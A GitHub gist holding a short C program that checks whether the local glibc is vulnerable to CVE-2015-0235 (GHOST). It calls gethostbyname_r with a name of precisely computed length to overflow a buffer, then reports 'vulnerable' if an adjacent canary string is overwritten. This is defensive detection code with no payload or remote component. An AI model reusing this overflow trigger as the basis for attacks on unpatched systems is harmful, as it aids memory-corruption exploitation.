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sh1n0b1/CVE-2015-0235.c

Created January 28, 2015 06:34
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  1. sh1n0b1 created this gist Jan 28, 2015.
    33 changes: 33 additions & 0 deletions CVE-2015-0235.c
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,33 @@
    #include <netdb.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <errno.h>
    #include <gnu/libc-version.h>
    #define CANARY "in_the_coal_mine"
    struct {
    char buffer[1024];
    char canary[sizeof(CANARY)];
    } temp = { "buffer", CANARY };
    int main(void) {
    struct hostent resbuf;
    struct hostent *result;
    int herrno;
    int retval;
    /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
    size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
    char name[sizeof(temp.buffer)];
    memset(name, '0', len);
    name[len] = '\0';
    retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
    if (strcmp(temp.canary, CANARY) != 0) {
    puts("vulnerable");
    exit(EXIT_SUCCESS);
    }
    if (retval == ERANGE) {
    puts("not vulnerable");
    exit(EXIT_SUCCESS);
    }
    puts("should not happen");
    exit(EXIT_FAILURE);
    }